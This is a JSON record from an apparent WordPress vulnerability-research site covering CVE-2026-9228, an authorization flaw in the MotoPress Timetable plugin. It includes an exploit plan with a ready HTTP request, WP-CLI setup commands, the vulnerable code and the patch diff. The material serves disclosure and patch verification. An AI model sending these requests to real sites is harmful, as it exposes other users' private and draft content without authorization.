[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$f1bx2mcwxNHyU2guQ1VrHJ2aqBdrNNJfQzvn6mauAfhE":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-9228","timetable-and-event-schedule-by-motopress-insecure-direct-object-reference-to-authenticated-contributor-sensitive-inform","Timetable and Event Schedule by MotoPress \u003C= 2.4.16 - Insecure Direct Object Reference to Authenticated (Contributor+) Sensitive Information Exposure via action_get_event_data Function","The Timetable and Event Schedule by MotoPress plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 2.4.16 via the action_get_event_data due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with contributor-level access and above, to enumerate timeslot IDs and read the full WP_Post object — including post_content, post_excerpt, post_status, and post_author — of draft, pending, and private mp-event posts belonging to other users, along with their associated raw timeslot descriptions.","mp-timetable",null,"\u003C=2.4.16","2.4.17","medium",4.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:L\u002FI:N\u002FA:N","Authorization Bypass Through User-Controlled Key","2026-05-27 14:55:48","2026-05-28 03:27:27",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F9adf94ac-30ef-4c24-afa6-04248c25bd7f?source=api-prod",1,[22,23,24,25,26,27,28,29],"classes\u002Fclass-core.php","classes\u002Fclass-hooks.php","classes\u002Fcontrollers\u002Fclass-controller-events.php","media\u002Fjs\u002Fevents\u002Fevent.js","media\u002Fjs\u002Fevents\u002Fevent.min.js","mp-timetable.php","readme.txt","templates\u002Fwidgets\u002Fgallery-list.php","researched",false,3,"# Vulnerability Research Plan: CVE-2026-9228 (MotoPress Timetable IDOR)\n\n## 1. Vulnerability Summary\nThe **Timetable and Event Schedule by MotoPress** plugin (\u003C= 2.4.16) contains an Insecure Direct Object Reference (IDOR) vulnerability in its custom AJAX routing mechanism. Specifically, the `action_get_event_data` function in the `Controller_Events` class fails to perform any ownership or capability checks on the requested timeslot ID beyond a general `edit_posts` capability check. \n\nThis allows any authenticated user with at least **Contributor** level access to enumerate timeslot IDs and retrieve sensitive details of `mp-event` posts belonging to other users, including those with `draft`, `pending`, or `private` statuses. The exposed data includes the full `WP_Post` object and raw timeslot descriptions.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** Any WordPress request that triggers the `init` hook (typically `POST \u002Fwp-admin\u002Fadmin-ajax.php`).\n- **Custom Router:** The plugin uses a custom router defined in `Core::wp_ajax_route_url` (found in `classes\u002Fclass-core.php`), which is hooked to `init`.\n- **Required Parameters:**\n    - `controller`: `events`\n    - `mptt_action`: `get_event_data`\n    - `id`: The integer ID of a timeslot (stored in the custom `{wp_prefix}_mp_timetable_data` table).\n- **Authentication:** Authenticated (Contributor+).\n- **Vulnerable Function:** `mp_timetable\\classes\\controllers\\Controller_Events::action_get_event_data`.\n\n## 3. Code Flow\n1. **Entry Point:** The request hits `admin-ajax.php`.\n2. **Hook Execution:** During `init`, `mp_timetable\\plugin_core\\classes\\Core::wp_ajax_route_url()` is executed.\n3. **Authorization Check:** `wp_ajax_route_url` checks `if ( ! empty( $action ) && current_user_can('edit_posts') )`. The Contributor role possesses the `edit_posts` capability.\n4. **Routing:** `Preprocessor::get_instance()->call_controller( $action, $controller )` is called with `$action = 'get_event_data'` and `$controller = 'events'`.\n5. **Vulnerable Method:** `Controller_Events::action_get_event_data()` is invoked.\n    - It retrieves the ID via `filter_input(INPUT_POST, 'id', FILTER_VALIDATE_INT)`.\n    - It calls `$this->get('events')->get_event_data(...)` with the third parameter `$show_public_only` set to `false`.\n    - **Sink:** `wp_send_json_success($result[0])` returns the full object to the attacker without verifying if the attacker should have access to the underlying `mp-event` post associated with that timeslot.\n\n## 4. Nonce Acquisition Strategy\nAnalysis of `classes\u002Fcontrollers\u002Fclass-controller-events.php` reveals that `action_get_event_data` **does not implement a nonce check**.\n- Compare `action_get_event_data` to `action_delete` or `action_update_event_data` in the same file; the latter two explicitly call `check_ajax_referer`.\n- Because `action_get_event_data` lacks this check, **no nonce is required** for exploitation. Only a valid Contributor-level session cookie is needed.\n\n## 5. Exploitation Strategy\n### Step 1: Authentication\nLog in as a user with the **Contributor** role to obtain a session cookie.\n\n### Step 2: ID Enumeration\u002FTargeting\nIdentify a timeslot ID. In a real-world scenario, these are sequential integers. For the PoC, we will target a timeslot created by the Administrator for a private event.\n\n### Step 3: Malicious Request\nSend a POST request to the custom router.\n\n**Request Details:**\n- **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Method:** `POST`\n- **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n- **Body:** `controller=events&mptt_action=get_event_data&id=[TARGET_TIMESLOT_ID]`\n\n**Payload Example:**\n```http\nPOST \u002Fwp-admin\u002Fadmin-ajax.php HTTP\u002F1.1\nHost: localhost:8080\nContent-Type: application\u002Fx-www-form-urlencoded\nCookie: [Contributor_Cookies]\n\ncontroller=events&mptt_action=get_event_data&id=1\n```\n\n## 6. Test Data Setup\nTo demonstrate the leak of sensitive information, the following must be set up via WP-CLI:\n1. **Target User:** Ensure an Administrator user exists.\n2. **Attacker User:** Create a user with the `contributor` role.\n3. **Sensitive Post:**\n   - As Administrator, create an `mp-event` post with `post_status='private'`.\n   - Set a sensitive string in the `post_content` (e.g., \"INTERNAL_SECRET_PROJECT_KRAKEN\").\n4. **Target Timeslot:** \n   - As Administrator, create an `mp-column` post (required for timeslots).\n   - Insert a record into the `{wp_prefix}_mp_timetable_data` table associated with the private `mp-event` and the `mp-column`.\n   - Record the `id` of this new row.\n\n**WP-CLI commands for setup:**\n```bash\n# Create Contributor\nwp user create attacker attacker@example.com --role=contributor --user_pass=password\n\n# Create Column\nCOLUMN_ID=$(wp post create --post_type=mp-column --post_title=\"Monday\" --post_status=publish --porcelain)\n\n# Create Private Event\nEVENT_ID=$(wp post create --post_type=mp-event --post_title=\"Secret Strategy\" --post_content=\"INTERNAL_SECRET_PROJECT_KRAKEN\" --post_status=private --porcelain)\n\n# Manually insert timeslot via SQL (Plugin uses custom table)\nTABLE_NAME=$(wp db prefix)mp_timetable_data\nwp db query \"INSERT INTO $TABLE_NAME (event_id, column_id, event_start, event_end, description) VALUES ($EVENT_ID, $COLUMN_ID, '10:00', '11:00', 'Confidential Meeting')\"\n\n# Get the ID of the inserted timeslot\nTIMESLOT_ID=$(wp db query \"SELECT id FROM $TABLE_NAME WHERE event_id=$EVENT_ID\" --silent --skip-column-names)\n```\n\n## 7. Expected Results\nA successful exploit will return a JSON object (`wp_send_json_success`) containing:\n- The `post_content` of the private event (\"INTERNAL_SECRET_PROJECT_KRAKEN\").\n- The `post_status` (\"private\").\n- The `description` of the timeslot (\"Confidential Meeting\").\n- The `post_author` ID.\n\nThe response should look like:\n```json\n{\n    \"success\": true,\n    \"data\": {\n        \"id\": \"1\",\n        \"event_id\": \"123\",\n        \"post_title\": \"Secret Strategy\",\n        \"post_content\": \"INTERNAL_SECRET_PROJECT_KRAKEN\",\n        \"post_status\": \"private\",\n        \"description\": \"Confidential Meeting\",\n        ...\n    }\n}\n```\n\n## 8. Verification Steps\n1. **Analyze Response:** Verify that the `post_content` in the HTTP response matches the secret string assigned to the private event.\n2. **Check Access Level:** Verify using `wp user get attacker` that the user only has `contributor` permissions.\n3. **Check Visibility:** Use `wp post get [EVENT_ID] --user=attacker` to confirm that the Contributor normally *cannot* see this private post via standard WordPress APIs\u002FCLI. If the AJAX request sees it but the CLI (as attacker) doesn't, the bypass is confirmed.\n\n## 9. Alternative Approaches\nIf the `mptt_action` routing is restricted via `admin-ajax.php` in some environments, the same parameters can be sent to the WordPress home page (index.php), as the `init` hook runs on every request.\n- **Alternative URL:** `http:\u002F\u002Flocalhost:8080\u002F?controller=events&mptt_action=get_event_data&id=[ID]`\n- Since `Core::wp_ajax_route_url` does not strictly check `DOING_AJAX` before processing (it only uses it to decide whether to call `wp_die()` or `die()`), the vulnerability is reachable on both frontend and backend entry points.","The Timetable and Event Schedule by MotoPress plugin for WordPress is vulnerable to an Insecure Direct Object Reference (IDOR) via the `action_get_event_data` function in versions up to and including 2.4.16. Due to insufficient authorization checks and missing nonce validation, authenticated attackers with Contributor-level access or higher can retrieve sensitive details—including post content and status of private, draft, or pending events—by enumerating timeslot IDs.","\u002F\u002F classes\u002Fcontrollers\u002Fclass-controller-events.php:62\n\t\u002F**\n\t * Get single event data\n\t *\u002F\n\tpublic function action_get_event_data() {\n\n\t\tif ( current_user_can('edit_posts') ) {\n\n\t\t\t$id = filter_input(INPUT_POST, 'id', FILTER_VALIDATE_INT);\n\t\t\t$result = $this->get('events')->get_event_data(array('field' => 'id', 'id' => $id), 'event_start', false);\n\n\t\t\tif (!empty($result)) {\n\t\t\t\twp_send_json_success($result[ 0 ]);\n\t\t\t} else {\n\t\t\t\twp_send_json_error(array('status' => false));\n\t\t\t}\n\t\t} else {\n\t\t\twp_die( sprintf( 'Access denied, %s, %s', __FUNCTION__, basename( __FILE__ ) ) );\n\t\t}\n\t}","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmp-timetable\u002F2.4.16\u002Fclasses\u002Fclass-core.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmp-timetable\u002F2.4.17\u002Fclasses\u002Fclass-core.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmp-timetable\u002F2.4.16\u002Fclasses\u002Fclass-core.php\t2024-02-12 19:39:10.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmp-timetable\u002F2.4.17\u002Fclasses\u002Fclass-core.php\t2026-05-25 19:22:48.000000000 +0000\n@@ -563,6 +563,7 @@\n \t\t\t'MPTT',\n \t\t\tarray(\n \t\t\t\t'table_class' => apply_filters( 'mptt_shortcode_static_table_class', 'mptt-shortcode-table' ),\n+\t\t\t\t'timeslot_read_nonce' => wp_create_nonce( 'timeslot_read_nonce' ),\n \t\t\t\t'timeslot_delete_nonce' => wp_create_nonce( 'timeslot_delete_nonce' ),\n \t\t\t\t'timeslot_update_nonce' => wp_create_nonce( 'timeslot_update_nonce' ),\n \t\t\t)\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmp-timetable\u002F2.4.16\u002Fclasses\u002Fclass-hooks.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmp-timetable\u002F2.4.17\u002Fclasses\u002Fclass-hooks.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmp-timetable\u002F2.4.16\u002Fclasses\u002Fclass-hooks.php\t2022-11-14 14:39:38.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmp-timetable\u002F2.4.17\u002Fclasses\u002Fclass-hooks.php\t2026-05-25 19:22:48.000000000 +0000\n@@ -148,8 +148,15 @@\n \t\tCore::get_instance()->register_all_post_type();\n \t\t\u002F\u002F Register taxonomy all\n \t\tCore::get_instance()->register_all_taxonomies();\n-\t\t\u002F\u002F route url\n-\t\tCore::get_instance()->wp_ajax_route_url();\n+\n+\t\tif (\n+\t\t\tis_admin() &&\n+\t\t\tisset( $_POST['controller'], $_POST['mptt_action'] ) &&\n+\t\t\t'import' === sanitize_key( wp_unslash( $_POST['controller'] ) ) &&\n+\t\t\t'export' === sanitize_key( wp_unslash( $_POST['mptt_action'] ) )\n+\t\t) {\n+\t\t\tCore::get_instance()->wp_ajax_route_url();\n+\t\t}\n \t\t\n \t\tif ( Settings::get_instance()->is_plugin_template_mode() ) {\n \t\t\t\u002F\u002F plugin mode\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmp-timetable\u002F2.4.16\u002Fclasses\u002Fcontrollers\u002Fclass-controller-events.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmp-timetable\u002F2.4.17\u002Fclasses\u002Fcontrollers\u002Fclass-controller-events.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmp-timetable\u002F2.4.16\u002Fclasses\u002Fcontrollers\u002Fclass-controller-events.php\t2022-11-14 14:39:38.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmp-timetable\u002F2.4.17\u002Fclasses\u002Fcontrollers\u002Fclass-controller-events.php\t2026-05-25 19:22:48.000000000 +0000\n@@ -61,9 +61,19 @@\n \t *\u002F\n \tpublic function action_get_event_data() {\n \n-\t\tif ( current_user_can('edit_posts') ) {\n+\t\tcheck_ajax_referer( 'timeslot_read_nonce', 'nonce' );\n+\n+\t\t$id = filter_input(INPUT_POST, 'id', FILTER_VALIDATE_INT);\n+\n+\t\t$event_id = 0;\n+\t\t$timeslot = $this->get('events')->get_timeslot_by_id( $id );\n+\n+\t\tif ( $timeslot ) {\n+\t\t\t$event_id = (int) $timeslot->event_id;\n+\t\t}\n+\n+\t\tif ( $event_id && current_user_can( 'edit_post', $event_id ) ) {\n \n-\t\t\t$id = filter_input(INPUT_POST, 'id', FILTER_VALIDATE_INT);\n \t\t\t$result = $this->get('events')->get_event_data(array('field' => 'id', 'id' => $id), 'event_start', false);\n \n \t\t\tif (!empty($result)) {\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmp-timetable\u002F2.4.16\u002Fmedia\u002Fjs\u002Fevents\u002Fevent.js \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmp-timetable\u002F2.4.17\u002Fmedia\u002Fjs\u002Fevents\u002Fevent.js\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmp-timetable\u002F2.4.16\u002Fmedia\u002Fjs\u002Fevents\u002Fevent.js\t2024-02-28 15:54:34.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmp-timetable\u002F2.4.17\u002Fmedia\u002Fjs\u002Fevents\u002Fevent.js\t2026-05-25 19:22:48.000000000 +0000\n@@ -185,7 +185,8 @@\n \t\t\t\t\t\tRegistry._get(\"adminFunctions\").wpAjax({\n \t\t\t\t\t\t\t\tcontroller: \"events\",\n \t\t\t\t\t\t\t\taction: \"get_event_data\",\n-\t\t\t\t\t\t\t\tid: id\n+\t\t\t\t\t\t\t\tid: id,\n+\t\t\t\t\t\t\t\tnonce: MPTT.timeslot_read_nonce,\n \t\t\t\t\t\t\t},\n \t\t\t\t\t\t\tfunction(data) {\n \t\t\t\t\t\t\t\tvar $addMpEvent = $('#add_mp_event');","1. Authenticate to the WordPress site with a user account possessing at least the 'Contributor' role (or any role with the `edit_posts` capability).\n2. Send a POST request to `\u002Fwp-admin\u002Fadmin-ajax.php` (or any URL that triggers the `init` hook, as the plugin router is hooked there).\n3. Set the POST body to include `controller=events`, `mptt_action=get_event_data`, and `id=[TARGET_ID]`, where `[TARGET_ID]` is the integer ID of a timeslot record.\n4. Vulnerable versions do not require a nonce for this specific action. The server will respond with a JSON object containing the full `WP_Post` data for the event associated with the timeslot, regardless of its post status (private, draft, or pending).","gemini-3-flash-preview","2026-06-04 17:08:56","2026-06-04 17:09:23",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","2.4.16","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fmp-timetable\u002Ftags\u002F2.4.16","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fmp-timetable.2.4.16.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fmp-timetable\u002Ftags\u002F2.4.17","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fmp-timetable.2.4.17.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fmp-timetable\u002Ftags"]